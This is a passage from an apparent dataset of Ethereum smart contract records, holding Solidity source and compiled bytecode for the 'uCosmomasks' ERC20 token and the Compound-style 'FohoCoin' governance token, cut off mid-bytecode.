returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); require(_totalSupply <= 1e26, "_totalSupply exceed hard limit"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract uCosmomasks is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("uCosmomask Fund", "uCMask", 18) { governance = msg.sender; addMinter(governance); // underlying _mint function has hard limit mint(governance, 1e26); } function mint(address account, uint amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function burn(uint256 amount) public { _burn(msg.sender, amount); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80635aa6e675116100a2578063a457c2d711610071578063a457c2d71461055b578063a9059cbb146105c1578063ab033ea914610627578063dd62ed3e1461066b578063f46eccc4146106e357610116565b80635aa6e675146103f257806370a082311461043c57806395d89b4114610494578063983b2d561461051757610116565b80633092afd5116100e95780633092afd5146102a8578063313ce567146102ec578063395093511461031057806340c10f191461037657806342966c68146103c457610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b61012361073f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e1565b604051808215151515815260200191505060405180910390f35b61020c6107ff565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610809565b604051808215151515815260200191505060405180910390f35b6102ea600480360360208110156102be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e2565b005b6102f4610a00565b604051808260ff1660ff16815260200191505060405180910390f35b61035c6004803603604081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a17565b604051808215151515815260200191505060405180910390f35b6103c26004803603604081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aca565b005b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610b97565b005b6103fa610ba4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bca565b6040518082815260200191505060405180910390f35b61049c610c12565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dc5780820151818401526020810190506104c1565b50505050905090810190601f1680156105095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105596004803603602081101561052d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb4565b005b6105a76004803603604081101561057157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b604051808215151515815260200191505060405180910390f35b61060d600480360360408110156105d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9f565b604051808215151515815260200191505060405180910390f35b6106696004803603602081101561063d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebd565b005b6106cd6004803603604081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc4565b6040518082815260200191505060405180910390f35b610725600480360360208110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104b565b604051808215151515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b5050505050905090565b60006107f56107ee61106b565b8484611073565b6001905092915050565b6000600254905090565b600061081684848461126a565b6108d78461082261106b565b6108d285604051806060016040528060288152602001611b3660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061088861106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b600190509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b6000610ac0610a2461106b565b84610abb8560016000610a3561106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b611073565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216d696e7465720000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610b938282611668565b5050565b610ba133826118a6565b50565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610caa5780601f10610c7f57610100808354040283529160200191610caa565b820191906000526020600020905b815481529060010190602001808311610c8d57829003601f168201915b5050505050905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e95610ddf61106b565b84610e9085604051806060016040528060258152602001611bc86025913960016000610e0961106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b6001905092915050565b6000610eb3610eac61106b565b848461126a565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611ba46024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611aee6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b7f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611376576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa96023913960400191505060405180910390fd5b6113e181604051806060016040528060268152602001611b10602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611474816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611592578082015181840152602081019050611577565b50505050905090810190601f1680156115bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561165e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611720816002546115e090919063ffffffff16565b6002819055506a52b7d2dcc80cd2e400000060025411156117a9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5f746f74616c537570706c79206578636565642068617264206c696d6974000081525060200191505060405180910390fd5b6117fa816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561192c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b5e6021913960400191505060405180910390fd5b61199781604051806060016040528060228152602001611acc602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ee81600254611a5e90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611aa083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611520565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820f59804be634eba96db18d4b207834c78c113b45e683b1d9ab91dc2a31a168d5564736f6c63430005110032
{"success": true, "error": null, "results": {}}
6,727
0xdd2e93924bdd4e20c3cf4a8736e5955224fa450e
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract FohoCoin { /// @notice EIP-20 token name for this token string public constant name = "FohoCoin"; /// @notice EIP-20 token symbol for this token string public constant symbol = "FOHO"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 8; /// @notice Total number of tokens in circulation uint public constant totalSupply = 1000000000e8; // 1 Billion FOHO // Change supply as per need /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new FOHO token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "FOHO::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "FOHO::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "FOHO::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "FOHO::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "FOHO::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "FOHO::delegateBySig: invalid nonce"); require(now <= expiry, "FOHO::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "FOHO::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "FOHO::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "FOHO::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "FOHO::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "FOHO::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "FOHO::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "FOHO::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "FOHO::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b9190612863565b60405180910390f35b61015e6004803603610159919081019061214a565b61045c565b60405161016b919061275e565b60405180910390f35b61017c6105ee565b6040516101899190612967565b60405180910390f35b61019a6105fa565b6040516101a79190612779565b60405180910390f35b6101ca60048036036101c591908101906120fb565b610611565b6040516101d7919061275e565b60405180910390f35b6101e86108a3565b6040516101f591906129c6565b60405180910390f35b61021860048036036102139190810190612096565b6108a8565b6040516102259190612743565b60405180910390f35b61024860048036036102439190810190612096565b6108db565b005b610264600480360361025f9190810190612096565b6108e8565b6040516102719190612982565b60405180910390f35b610294600480360361028f9190810190612096565b61090b565b6040516102a19190612967565b60405180910390f35b6102c460048036036102bf919081019061214a565b61097a565b6040516102d191906129fc565b60405180910390f35b6102f460048036036102ef9190810190612096565b610d8d565b6040516103019190612967565b60405180910390f35b610312610da5565b60405161031f9190612863565b60405180910390f35b610342600480360361033d919081019061214a565b610dde565b60405161034f919061275e565b60405180910390f35b610372600480360361036d9190810190612096565b610e1b565b60405161037f91906129fc565b60405180910390f35b6103a2600480360361039d9190810190612186565b610f09565b005b6103be60048036036103b991908101906120bf565b6111ac565b6040516103cb9190612967565b60405180910390f35b6103dc611258565b6040516103e99190612779565b60405180910390f35b61040c6004803603610407919081019061220f565b61126f565b60405161041a92919061299d565b60405180910390f35b6040518060400160405280600881526020017f466f686f436f696e00000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060258152602001612bfd602591396112c8565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db91906129e1565b60405180910390a3600191505092915050565b67016345785d8a000081565b60405161060690612719565b604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106d385604051806060016040528060258152602001612bfd602591396112c8565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561074d57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561088a57600061077783836040518060600160405280603d8152602001612d01603d9139611326565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161088091906129e1565b60405180910390a3505b610895878783611397565b600193505050509392505050565b600881565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffff